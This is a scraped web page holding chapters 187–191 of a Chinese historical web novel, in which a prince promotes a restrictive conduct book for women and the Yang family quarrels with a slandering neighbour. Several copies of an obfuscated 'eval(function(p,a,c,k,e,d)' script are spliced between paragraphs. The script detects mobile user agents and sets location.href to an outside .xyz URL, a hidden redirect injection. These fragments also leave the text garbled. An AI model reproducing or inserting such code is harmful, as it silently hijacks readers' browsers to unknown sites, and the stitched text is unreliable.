l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14694371|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都贼精贼精的,早在听说咱们这边没盐起,就将盐价偷偷涨了数十倍。如今再去买,还不如跟北蛮买呢。” “那也不能跟北门低头吧?我瞧见那些草原蛮子就生气。当初在咱国内烧杀掳掠无恶不作,还是陛下登基这十三年来让百姓稍微缓了口气。若是就此低头,别说我了,百姓们估计都咽不下这口气。” 更关键的是如果大景真朝北蛮低头了,先不说边疆战事如何,百姓们心理上就弱了一头。这可不妙啊。 讨论来讨论去,也没讨论出个具体法子,反而叫大家更加担忧了。这还没完,一个接一个的坏消息传过来,不仅京城生乱,连周遭郡府也悄悄乱起来了。在大伙儿急得焦头烂额之际,这些臣子中有人心中悄悄冷笑,暗自得意。 靠着谋朝篡位得来的皇帝,总有一日会被别人赶下去,他倒要看看,景泰帝准备怎么做? 就在这暗潮涌动之际,早有好几队人马从盐城出发,推着满满当当的货车朝着四面八方驶去。长河之上也有满满当当的货船飘摇而去。不管运送货车还是货船的人一个个喜笑颜开,志满意得。此次出行势必载入史册,若他们也能在历史长河中有个小小的角落安身,也算光宗耀祖了 。 京城,左亲王等人早就被送到京城。本来,来之前左亲王就做好自己可能会没命的准备,没想到来京城之后竟遇上这种好事儿。虽说他早就知晓盐城的氛围有些不太对劲,但没想到,那个赵篝竟然还有这种本事。做的好! 如今北蛮的使臣已经来到大景帝都,与他取得联系,也让左亲王的处境越来越好,至少不用再住在那暗无天日的地牢中了。 如今也能在驿馆里有个房间,充当自家使臣。绝处逢生的滋味左亲王平生还是第一次尝到。什么叫做柳暗花明又一村?他这境遇就是啊。 滨阳王,应九阙!你们肯定想不到我如今不仅活的好好的,而且还作为你们大景的座上宾,明日还要参加你们的国宴! 第一百八十七章 我最不喜那种女子 一想到这里左亲王就恨不得狠狠喝上一坛烈酒。但是当低头看看自己依旧软绵绵像个面袋子似提不起来的胳膊,左亲王的恨意就像滔滔江水,连绵不绝。 那个女人!那一抓之下不仅断了自己的胳膊,也断了自己的前程。草原环境恶劣,生存竞争更是激烈无比。想也知道,不会有人支持一个提不起刀的残废成为下一任可汗!而他原本是下一任可汗的强有力竞争者。这一切都被应九阙那个女人给毁了! 应重鸣!应九阙!他跟应家的女人是有仇吗?一个险些在少年时期磨灭他的意气,一个更是毁掉他的未来!他怎么就这么惨? 用完好的左手提起酒坛子,一口气咕咚咕咚喝下大半坛,左亲王才勉强感觉自己好受了些。不过他也不用太过伤心了,毕竟,大景如今遇到了前所未有的危机。内忧外患之下,谁知道将来会如何? 不过若是大景战败,他发誓,一定要好好折磨应九阙那个女人! 当然啦,不必等到战败,应九阙也不会有什么好下场。毕竟盐城的盐湖盐井被下毒,她这个钦差也有一定的附带责任。如今大景的朝臣们正焦头烂额,等应九阙回来,等着她的肯定不是嘉奖,而是责罚。谁让她不仅是个女子,还刚好撞到火头上了呢。 说到这里,左亲王就不由得感激起大景朝的男人们。如果不是他们大力打压女子的地位,而且近些年有愈演愈烈之势。就以应九阙这力气脑子,到边疆从军。岂不是草原的一大对手? 还有应重鸣将军的应家军,哦不,现在应该叫娘子军了。她们本应成为大景朝最锋利的利刃和最坚实的墙壁,却偏偏因为女子身份和前任将领是前朝遗臣而日渐尴尬。听说就连军备物资也都是先给别的军队分发完毕,剩下的才会给她们。正是因为这个缘故,娘子军的人数才越来越少。毕竟发不起军饷,她们也还要吃饭的。而且她们毕竟是女子,世俗上都认为她们应该卸甲归田,嫁人生子。 啧啧啧,真是自毁城墙呀! 不过左亲王才不会好心提醒大景君臣,不如说他恨不得大景对女子再苛刻些,像应九阙应重鸣这样的女人越少越好。说起来这段时间渐渐崭露头角的大景二皇子,似乎对朝中寥寥无几的女官意见颇大。都说他是个仁慈的皇子,可他怎么觉得不像呀?想起昨日在酒楼上遇见的那一幕,左亲王就忍不住露出微笑。 昨日,人间客酒楼。 左亲王原本是心里烦闷才出来喝酒,没想到待在包间里还能看到一场好戏。原本是旁边包厢推杯换盏满场恭维,搞得声音颇大,才让左亲王知道旁边包厢里坐主位的正是近日来频频崭露头角的二皇子。 左亲王本来也没想做什么,只是想着悄悄听听大景二皇子是个什么样的人,没想到竟听到这样一段长篇大论。 “说起来,那位应县主近日就要回来了。以陛下对那位的信重,岂不是又要官升好几级?” “说这个做什么?反正又不是你我升官。” “她一个女人,能有这样的功绩实属不易,家里老头子还跟我说呢。我要是能娶了应县主,至少少奋斗二十年。” “得了吧,就那个母老虎!之前当巡城御史的时候,你没见她是怎么教训薛二几个的吗?那力气比我家的马夫都大!哪有一点女子温婉恭顺的模样?更别说那应九阙生性桀骜,连林侍郎都把她逐出家门了。这样的母夜叉你要娶你娶,反正我是不娶。” “你这说的是什么话?你就算想娶,人家还看不上你呢。” “看不上你才是!” “别说这个了,咱俩纯粹就是互相伤害。说起来二皇子正妻前几日去世了,这事儿你知道不?” “那怎么不知道?那位皇子妃可真是没福啊。眼看着二皇子就要崭露头角,竟然没了!” “谁说不是呢?话说那位皇子妃出身不高,这个时候没了,刚好给二皇子铺路。有个得力的妻族,对以后很有好处啊!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14717874|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 原本靠着墙说话的两个年轻男子给了彼此一个你知我知的眼神,眼神含蓄,但彼此心知肚明。说起来,二皇子的正妻死的倒是时候,不偏不倚,刚好在大皇子被赐死之后不久,就这么病逝了。之前也没听说二皇子妃身子不好,不过这种内宅私事儿,谁知道呢? 如今二皇子反倒成了陛下最年长的皇子,而且身子骨较常人弱些。但这反倒成了众位大臣扶持他的原因。再加上他正妻之位空悬,家中有适龄女孩儿的,这几日不断向后宫莫妃使劲儿。 这俩人正在说悄悄话呢,后知后觉的发现周围的讨论声安静下来。一抬头才发现二皇子正直勾勾瞧着他俩呢,顿时起了一身冷汗。毕竟背后说人家家事儿,确实有些不太妥当。 虽说如今大家都看好二皇子了,可毕竟时局不明朗,而且如今正是多事之秋,他们家的老爷子们不敢在这个时候招陛下的眼,所以就算笼络二皇子,家中真正在朝中能说得上话的父兄子侄也没出面,反倒是让家中文不成武不就的纨绔子弟们出头。这若是以后陛下问及此事也能说成是他们年轻人彼此之间宴饮,不会出什么大错。 二皇子盯着他们两个看了许久,苍白瘦弱的脸上突然勾起一个轻蔑的笑。 “女子就应该温婉恭顺,相夫教子。整日在外面走动,不知会接触到什么人,实在叫人不喜。更遑论那些不安于世的,偏要在男人堆里挤破头,真是没得让人看不起。” 大伙儿你看看我我看看你,原本就安静的宴会这会儿更是一片寂静。 不是,他们这些纨绔们私底下说嘴也就算了。可二皇子殿下,你的指向性是不是有些太强了?不就是在说那位应县主吗? 所以说他们也不太喜欢那个母老虎似的应九阙,可应县主此次当钦差去黔州,不是为了你家皇帝老爹做事吗?换句话说就是给你家做事的呀! 人家在外面风餐露宿的,还把事情办的这么漂亮,你不夸上两句也就算了,怎么还背后诋毁? 第一百八十八章 《女诫》 但想归想,大伙儿谁也不敢当着二皇子殿下的面说出来,只能跟着应和几句。他们这些家中不成器的子弟这次被派出来,不仅是为了跟二皇子殿下搞好关系。还是为了能更近距离的观察一下二皇子殿下的言行举止,看他是否有成为储君的资质。 毕竟这二皇子因为常年体弱,很少露面,以往大家对他的了解都不太深,现在倒是知道了,他非常不喜欢应九阙那种会在外面抛头露面的女人。 这要是家中有属意二皇子妃之位的姐妹们,回去可得提醒她们一句,表现的温柔恭顺些…… 谁曾想二皇子的话还没说完,或许这些话他早就想说了,这会儿趁着几分酒意干脆倒了个干净。 “身为女子就不应读书。读书是男人的事。而且她们读的那是什么书?读的多了,把脑子都读坏了。整日想着在男人堆里出头,真是不自爱。” 好吧,现在还得加上一个不能会读书识字。 “母妃写了一本《女诫》,我瞧着甚好。本朝女子都应读读这本书,学学何为温婉恭顺。敬父母公婆,服侍丈夫,教育丈夫所出子女,管理中馈,钻研女红厨艺。不妒不忌,温婉大气……” “这些才是女子的本分。” 这些纨绔子弟们缓缓睁大了眼睛,几乎以为自己是喝醉听到了胡话。这是二皇子殿下对未来皇子妃的要求么?他这找的是女人还是神人啊?这世上哪儿有像他所说的女人?哦,是不是还得给你纳几个容貌绝美的妾,才叫能显示出正妻的风度? 这些年轻人虽然平日里不着调,但其中相当一部分对自己的姐妹还是有很深情分的。毕竟那些年轻有为的都在外面奔前途,很少有时间和家中兄弟姐妹沟通情感。他们中真心疼爱自己姐妹的已经决定回去如何添油加醋的将二皇子殿下今日这番话说出来。 开玩笑,他们家的姐妹也是从小娇养。无论读书识礼还是脾气秉性,都是一等一的好,凭什么要这么被人要求? 这年头,贵女们带着自家大量资源嫁给夫家,可不是为了当个管家!不仅得给你抚养庶出子女,还得不妒不忌不骄不躁,就算你是皇子也不能这么过分吧? 而且二皇子这话也太奇怪了,若想达到他的要求,除非女方身份地位远远低于他,甚至女子家中还得养着二皇子殿下的鼻息过活,才能做到这般宽容大度,谦卑恭谨。有这种要求,不如去娶个丫鬟,人家肯定愿意敬着端着,把你高高捧着。 可问题是二皇子肯定不愿意娶个丫鬟当正妻呀。既想要个门当户对的正妻,又想让正妻跟个丫鬟似的伺候自己,想的也太美了吧? 当下有好几个人看二皇子殿下的眼神都不太对了。也不知道二皇子是不是喝醉了,对此一无所知,还在继续宣扬《女诫》的好处。 人群中,有个年轻人一直在忍不住皱眉。杨林源以前其实也不喜欢应九阙,要不然当初也不会主动找她的茬。可自从应县主救了他的小堂弟,杨林源就完全改变了态度,尤其是亲眼目睹当日围剿无忧洞时那场惊天动地的雷霆,杨林源几乎把应九阙当成神明一样敬着。此后寥寥几次与应县主交流,越来越敬佩对方。不仅愿意为百姓做主,而且内有巧思。连霹雳弹那样的神器都能做出来,他最崇拜的二叔可是说了,若是那霹雳弹能量产,用在战场上可是一大神兵利器! 连自己亲爹都在不断感慨应九阙的出众,甚至还十分遗憾自己不够出众,没能得到应县主的喜欢。他爹是这么说的。 “应县主要是能看上你,把你嫁给人家也行啊!” 他爹那坑儿子的样子,普天之下有当爹的能说出来把自己儿子嫁出去这种话的吗? 当然了,他爹那么说主要也是因为应县主实在太过出众。但是杨林源十分笃定,若是应县主真能看上自己,他爹还真能做出来把他拾掇拾掇嫁出去的事儿。不就是上门女婿嘛,反正他爹有的是儿子。 然而就是这样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14717875|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出众的女子,竟然要被二皇子当着这么多陌生男人的面如此诋毁,凭什么?难道就凭他是陛下的儿子? 不,这种做法实在太过无耻了,人家还在外面累死累活的给你家做事儿,这当主家的倒好,竟然回过头来说人家的不是了。杨林源虽然是个纨绔,但也是个懂道理懂礼节的纨绔,这事做的实在太过了,叫人不喜。 杨林源张了张嘴就要说话,却被旁边的兄弟狠狠踩了一脚。他还颇有些不服,只是还没等他说出口,周围这一圈儿兄弟就七手八脚的把他拽到身后,然后恭维起二皇子来。 “既然殿下这么说了,我们肯定要让家中姊妹多看看《女诫》。想来莫妃娘娘亲自编撰出来的,一定文采斐然。家中姊妹多学学,能学到娘娘三分已是好的了。” “就是啊,二殿下您可不能藏私啊!” “我家中姊妹众多,平日里正是头疼她们的教养问题。二殿下这是给小臣们解决了一个大难题呀。若是家中父兄知道,一定也会感念殿下的恩德。” 一时间,这间包厢那叫一个热闹。或许被这热闹的气氛所感染,二皇子原本不太愉快的心情也好转许多。 “那肯定不能。诸位只要想看,本殿下一定让母妃多印几本。” 觥筹交错之中,这件事儿就这么定了。 至于这些纨绔子弟们心里到底是怎么想的,肯定不会直白的说出来,但是隔壁偷听到这事儿的左亲王却高兴的不得了。原来那应九阙那么横行霸道,竟然不被自己国家的掌权人所喜啊。 好好好,虽说在此之前他根本就不知道大景朝二皇子是哪根葱,但是从即日起,左亲王决定一定要交好这位二皇子,若是可以,一定要让他坐上大景皇帝的宝座! 有这样一位仁慈宽和,而且不喜女子抛头露面,出门做事的帝王,只需要再花上二十年,他们草原不就可以卷土重来了吗? 呸呸呸!这个词好像用的不太对劲? 第一百八十九章 失了魂似的盲从 不管怎么说,反正左亲王已经决定日后一定要对这位二皇子好点。听说大景皇帝只剩下两个儿子,这个皇子还是年纪最长的那个,有很大可能会成为下一任皇帝。 想到这里的左亲王心情不由得越发好了。 他倒要在京城等着,等着应九阙得胜归来,却发现满朝文武对她极为敌视,等着看到时候应九阙会露出什么表情。真是期待啊…… 有左亲王这般暗搓搓期待的,自然也就有毫不顾忌跟家中亲人抱怨的。 杨府,杨林源自从昨日参加完宴会回来就一直是副怒气冲冲的模样,仿佛逮着谁都能喷两口。就连杨大人都有点儿受不了他这副蠢样子。尤其是现在,这蠢儿子待在他书房还不走了。看起来那叫一个气人呀! “爹,你有没有听到我讲话?你知不知道二皇子昨日是个什么表情语气?应县主聪明机智,文武双全。二皇子竟如此不喜,甚至当着那么多人的面口吐恶言。我总觉得不太好吧,而且应县主就快要回来了,人家在外面拼死拼活的做事儿,回来之后却发现二皇子竟然不待见自己,说不定心里该多难受呢……爹?爹!你到底听我说话没有?你看着我,别老看你的画了,有啥好看的?看起来一堆枯枝败叶,丑的很。” 见杨大人只是嘴上应付的嗯嗯啊啊,却十分诚实的盯着桌面上摊开的古画瞧个不停,杨林源顿时恼了,上前去一把揪住那幅画就要揪过来,险些把杨大人的心脏都吓停了。 “逆子!赶紧给我松手!知道这幅画多贵吗?但凡损失一个角儿,老子剥了你的皮!” 连‘老子’都出来了,可见杨大人有多宝贵这幅画。杨林源后背下意识的一疼,连忙松手。但即便如此也没放弃,凑到他爹跟前使劲儿拽他袖子。 “爹,你刚刚到底听我说话没呀?你当时没在场,都不知道二皇子那副嘴脸,简直可恨极了!就跟戏文里的坏财主似的!” “放肆!堂堂皇子之尊,是你一个连官位都没有的小子能说的吗?还不赶紧给我闭嘴,瞧你娘把你给纵的!一点儿都不知道好歹……” “我怎么纵容他了?你倒是说给我听听。” 父子二人正在扯闲篇,冷不丁听到一阵温柔的女声,两人都忍不住打了个哆嗦。杨林源战战兢兢抬头,就看到了他家温柔可亲的娘亲,以及站在他娘亲身后温和可人的姐姐。 杨大人手一哆嗦,保养极好的胡须顿时被扯下来几根。看到自家夫人明显不善的眼神,连忙把小儿子推出去挡事儿。 “夫人,我刚刚在教训这不知好歹的臭小子呢,人家皇子之尊,他一个平头小子,还敢背后议论起人家了。这要是传出去,少不了一个藐视皇亲的罪名。我这是给咱家避祸呢。” “那看来是我错怪老爷了。我说呢,源儿也不是我一个人的儿子,怎么他一做错事儿就全怪我这个当娘的了?莫不是老爷也熟读《女诫》?” “噗!” 杨大人险些被自己的口水呛死,下意识反驳。 “夫人,你就别开我玩笑了,我一个大男人读什么《女诫》呀?” “所以我们女人就应该读那种书,还要按照书里写的三从四德?” 杨夫人本来还没那么生气,一听到杨大人这么说,心里的火顿时就窜出来了,这些天但凡出去应酬,也不知道怎么的,那些夫人小姐人手一本《女诫》,还以为是什么圣贤书,结果打开一看,净是些不知所谓的狗屁话。里面那些言论她看了都觉得头疼,怒火飙升。也不知道这样的书是怎么在京城流传开的,据说还是宫里那位莫妃娘娘亲自编撰,耗费十年之功才成本。 好家伙,自从二皇子崭露头角以来,这位以前在宫中跟个隐形人似的莫妃娘娘那叫一个出彩。但凡达官贵人家的夫人小姐,若是没听说过《女诫》就大大跟不上潮流。若是说不出里面几句话,那简直就跟乡下来的土包子一样了。 更夸张的是,今儿个上午去赴宴,竟然见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14717876|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有些人家的闺女戴了帷帽!这大热的天,还戴那厚实玩意儿,岂不要把人给热死?更夸张的是,周围的夫人小姐不仅不觉得奇怪,反而十分艳羡。张口闭口就是女子不应将自己的面容展露出来,只能给自己夫君或者未来夫君看。 哈!简直要把杨夫人给笑死。每个人都长着一张脸,凭什么男人就可以展露在外让别人看个不停,女人就要戴帷帽?还说什么这是女子应守之贞,这真是要把她给笑死。 若只是别人这么做,杨夫人就全当看个热闹,瞧瞧也就忘了。可偏偏这股风越刮越烈,竟然还要刮到她闺女身上了。真是士可忍孰不可忍。 杨大人还来不及回答她上句话,恼怒至极的杨夫人已经噼里啪啦说了一大堆,几乎指着他的鼻子骂。 “你这老东西,白白活这么大年纪!跟着你没享几天福不说,你往府里左抬一房小妾又抬一房小妾也就算了。现在别人都欺负到你闺女头上来了,还在这儿看你这破画呢,有什么好看的?!干脆以后你跟这破画过去得了。我就带着我家苦命的颖儿出家为尼,总好过留在这京城里被别人奚落……” 原本还乖巧站在一边儿老老实实垂头听训的杨林源顿时不干了。 “怎么 回事儿?有人敢欺负我姐?娘,你告诉我!是哪个不长眼的,我现在就给我姐报仇去!” 看见儿子这般,杨夫人的心里总算好受些。好在自家儿子不像那些跟失了魂似的蠢货们。杨大人也板起脸,发现了事情的严重性。 先是小心翼翼的把那幅古画卷起来安置妥当,然后看一眼眼圈微红的闺女,杨大人脸色不太好看。 “夫人,你莫恼,把这事儿说清楚,莫不是李家又闹了?” 杨大人不说还好,一说杨夫人那叫一个委屈。她倒不是为自己委屈,而是为苦命的女儿感到委屈。 “李家那小子福薄,刚定亲就去了。我也很遗憾,可这跟咱们家颖儿有什么关系?” 第一百九十章 欺人太甚 “那李家婆娘隔三差五就要来咱们府上一次哭天抹泪,见天就说自家儿子福薄,还没成亲就去了,这没有后嗣,以后要做个孤魂野鬼没人供奉。你说她这哪一回来咱家没有好好招待过?每一次都给了大笔银子让带回去。她家儿子都死了一年了还来咱家哭丧,耽搁咱们颖儿也没能再说上好人家这也就算了,我体谅她养了那么大个儿子还没享两天福,就没了,白发人送黑发人,怪可怜的,可没想到那死婆娘心怀歹意,就是存着这么个想法。我闺女,千娇百宠养到这么大,可不是为了嫁过去守望门寡的!那该死的婆娘也能说的出口!老娘当时就冲上去撕了她那张胡说八道的嘴!” “就是可怜我的颖儿,大庭广众之下被人那么说道,她又是个最实诚不过的,心里难受了也不肯告诉我们,满肚子苦水只往自己肚子里咽。怎么就这么命苦啊?!都是你这死老头子找的结亲人家,我早就说过李家婆娘太过刁钻,怕是以后不会对咱闺女好,你就是不听!非说什么只要李家小子前途好,咱闺女跟着他一定不会吃苦。现在是半点儿福也没享,专吃苦了!” “我的儿啊——” 杨家父子听了这么大一通也算勉强听懂今儿上午发生了什么,但其中一些详细的地方还是不太清楚。杨林源眼珠子一转,三两步走出书房,果然在远处瞧见了自家姐姐身边的大丫鬟。让她过来把今天上午发生的事一五一十的说出来。那大丫鬟也很生气,主辱臣死,小姐平日里待她跟自家姐妹似的,脾气又好,才华又高,今日却丢了好大一番丑,要不是小姐拦着,她早就跟夫人说了。 “其实今天已经不是第一次了。自从李家少爷没了之后,李夫人每逢宴会总要前来,一来就拉着小姐的手跟周围的夫人小姐诉苦,说她家儿子多么多么可怜,好不容易找了个门当户对的媳妇儿,结果还没过门就过世了。一回两回还好,她回回都这么说,那些原本想打听小姐的人家都不敢过来了!” 这些内情连杨夫人也是第一次听说,更是悲痛难忍,眼泪不停的低落。 杨大人心里也不好受,他这个女儿乖巧听话又孝顺,还是正妻所出,从小被人交口称赞的,杨大人虽然嘴上不说,心里却十分喜欢这个闺女,要不然也不会千挑百选出李家少爷。那确实是个聪明能干的年轻人,小小年纪就已经做到了六品官的位置。假以时日,前途更是不可限量。 谁曾想天不假年,那么好的小伙子,竟然走到大家前头了。外出踏青的时候从马上跌下来直接摔死了! 这事儿一出,杨大人心里也不是不难受的。但就算如何遗憾,那也是别人家的儿子,与之相比还是自家闺女更重要。这段时间他还正琢磨着哪位同僚家中有适龄儿郎,给自家闺女说说呢。 李夫人这事儿做的确实不够厚道。虽说未婚男女去世这事儿少见,但也不是从未有过。更何况这事儿只是他和李大人言谈意会,三媒六聘都没走过,若是两家人都不说外人谁会知道?偏偏李夫人就把这事儿闹得满城皆知! 好嘛,你家儿子死了,我家闺女就不能再嫁了?这是哪儿来的道理?别说现在还未嫁给他,就算真嫁给他了,李家小子嘎嘣死了,他还是会把自家闺女拉回来,再过上个两三年,找个清白好人家嫁过去。 大家伙儿不都是这么做的? “今日上午,李夫人更加过分。趁着夫人跟其他夫人说话,拿着一本儿劳什子书,说这才是咱们闺阁女孩儿应该看的圣贤书。因她说的实在太不像样,小姐不过略微反驳一句,她就把脸冷下来,还说,还说……” “她说什么了?!你别藏着掖着,赶紧说出来!我倒想知道那个老婆子说什么恶心人的话!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14751755|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杨林源是个性急的,见那丫头吞吞吐吐的不敢吭声,连忙催促。见老爷夫人不介意转述,那大丫鬟才义愤填膺的开口。 “她说‘颖儿,不是婶婶说你。你就是家里宠的太过了,每日读什么诗啊书什么的,把脑子都给读坏了。你说说这读再多书又有什么用啊?咱们女人,那就得在家从父,出嫁从夫,夫死从子。也就是这几年规矩松散了,才让你们这些未出阁的女孩儿出来闲逛。若是放到前朝年间,这女孩儿是不能不在父兄陪同下出来的。更何况你可不是一般的女孩儿。你跟我家胜儿有过婚约,这若是再早几年,我家胜儿未婚过世,你也得嫁过来守望门寡。守个几十年,说不定朝廷还会颁发一座贞洁牌坊,那可是光宗耀祖的好事儿啊!更有那些性烈的,见自己夫君死去,还不得抹了脖子跟随啊?哟,瞧我说的这是什么话。颖儿你大好年华,万万不能做傻事儿。婶子这也是年纪大了,说话不经脑子,你别跟婶子一般见识啊。’她还说了好长一段话,奴婢嘴笨,重复不出来。可自从她说了那些话,周围的夫人小姐们总聚在一起瞧着小姐小声嘟囔,等小姐过去,她们又不说了。还有那位李夫人,她在园子里窜来窜去,我偶尔听见几句。但凡是带着自家郎君赴宴的,她总要跟人家说说小姐跟李家公子有婚约的事儿。整场宴会下来,都没人敢跟小姐说话……她们实在是太过分了!” 杨林颖本来不想让家中父母兄弟担忧,因此平日里受这些委屈也都自己默默咽了。但也不知 怎么的,听自己最信任熟悉的大丫鬟将这些委屈说出来,她突然觉得,自己这过的是什么苦日子!多日来积累的情绪更是控制不住,直接扑到母亲怀里嚎啕大哭。杨夫人也抹着眼泪,母女二人抱头痛哭! 杨林源在一边儿险些把牙齿都给咬碎了。看看痛哭的母亲和姐姐,狠狠一跺脚,拔腿就冲了出去! 第一百九十一章 老妖婆! 杨林颖眼角的余光瞧见自家弟弟埋头冲了出去,有些担忧,抹着眼泪要把杨林源叫回来。却被板着脸的杨大人给制止了。 杨大人也给气了个好歹,他实在没想到李夫人竟然会耍这种不入流的下三滥手段。虽说李家小子死了,可他们两家也是因为平日里关系不错,所以才会和李兄商量着结儿女亲家。万万没想到李夫人竟在背后如此作践自家闺女。谁的儿女不是心头肉?这么做确实有失体统,太过分了。 “别管他,让他去!把家里的小子们都给我叫去。反正他姓李的已经不要脸了,咱还顾及什么脸面?都被人家欺负到头上来了,总不能干坐着!” 看到杨大人这般杨夫人反倒有些纠结了。这么做当真没问题吗?如今正是多事之秋,若是闹得大了会不会碍了上头人的眼?尤其是那位二皇子的眼。那什么《女诫》不就是这个二皇子和他娘弄出来的玩意儿吗?本来那李家婆娘还不敢这么明目张胆,自从二皇子崭露头角,而且明摆着不喜欢太出风头的女子,还弄了一本乱七八糟的《女诫》出来,李家婆娘可算是给自己找到后山了。动辄就是二皇子所言,莫妃娘娘所言! 呸!这么会说,怎么不摆个摊儿去说呀? 杨大人这会儿倒是一点儿都不害怕。若是自家闺女都被欺负到头上了还坐视不理,岂不是太过窝囊? “没事,让他们小的去闹。李家儿子少,咱们家儿子多。有事儿亲兄弟,上阵父子兵,先把他家给我闹得鸡犬不宁再说!我就不信李家婆娘闹这么大阵仗,姓李的会不知道!明摆着装聋作哑,既然以前装聋作哑,只盼他这回也能给我装聋作哑到底才是!” 有了他这话杨夫人总算没那么紧张了。但到底还是揪心,悄悄派了小子丫鬟出去看着,若是事情不对,赶紧护着自家少爷。 杨林源本就是个纨绔,平日里最会惹事儿,被杨大人揍的都习惯了。可偏偏最疼爱自己的姐姐竟然在不知道的情况下被人给欺负了,这他要是能忍下去,他就不姓杨! 骑上自己的骏马,一路飞驰,直接冲到李家。他们这些差不多的人家大多住的都近。不过短短一炷香时间就跑到李家大门口。他这么风驰电掣的自然吸引了很多人注意,有些回家的纨绔们看到自家兄弟这么着急忙慌的样子,知道肯定是出事儿了。当下一拍手一跺脚,紧跟着就冲上去。别的不说,他们这群纨绔之间的关系还真不错。 看他这么怒气冲冲的样子,看门的门房就知道来者不善,但杨林源这张脸李家的门房可不陌生。这会儿虽然知道上前肯定会挨训斥,但还是强撑着笑脸上前。 “哎呦杨少爷,您怎么有功夫过来了?不巧,今儿个咱家老爷少爷出门了,要不,您改日再来?” “起开!我也不难为你们!把那老婆娘给我叫出来!小爷我要问问,她是不是长了两个脑袋,要不然怎么跟一般人不一样!” “哎呦杨少爷,你可不能这么说话呀,我们夫人可是你的长辈……” “她是个狗屁的长辈,这世上哪有当长辈的造谣小辈?我看那老妖婆是不想活了,仗着和我家的那点情分四处作贱人,这世上有她这么当长辈的吗?赶紧给我滚出来!要不然我就硬闯了。” “杨少爷,杨少爷你不能进去……” 这两个门房简直要哭了,他们怎么这么倒霉?偏偏今儿个轮到他们值守。唉,这位杨少爷是满京城都知的纨绔,他找上门来能有什么好事儿?更别说还这么怒气冲冲的。 今儿个要是把这位主放进去,他们也不用干了,直接收拾收拾包袱滚蛋吧。 然而杨林源在外面这通大闹很快就吸引了大量围观人员,别以为那些高门大户就不八卦了,他们八卦起来更是没完。虽然自己不好亲身上阵,但四周很快就围满了各家的丫鬟小厮,力图把这儿的情况第一时间告诉自己主子。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14751756|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 眼看围着的人越来越多,情况越来越糟糕,里面装死的人终于不能安稳待着,李夫人十分惊讶的扶着丫鬟出来,用长辈的语气嗔怪。 “小源,你这是做什么无缘无故的跑到我家门口闹来了,要是让你父亲知道,一顿打可是跑不了的。你听话,有什么事儿等你李伯伯回来再说吧。” “我呸!你是我什么长辈,还在这儿教训起我来了!我认你时喊你一声婶子,我不高兴,谁还会管你这个老妖婆说什么!” 老妖婆?! 自从李大人身居高位,李夫人已经很久没听到这种桀骜不驯之言,更何况杨林源这根本就是在骂自己!高贵的夫人气的浑身颤抖,手指指着杨林源,面色铁青。 “好,好啊,无缘无故跑到别人家门口来撒野,还对长辈出言不逊!我倒是想请教一下杨家的家教!杨大人就是这么教养子女的?你娘就是这么教你们的吗?怪不得子女品行不端,原来是当娘的没教好……” “放你娘的狗屁!谁让你在这儿乱吠的?!我娘没教好?你怎么不说说你自己什么德行?挺大个人了,竟然欺负个小姑娘。现在得庆幸我姐姐没嫁到你家去,要不然还不得被你这个老妖婆搓磨死!” 反正这姓李的老婆娘已经将他们两家的婚事嚷嚷的满京城皆知。杨林源也不藏着掖 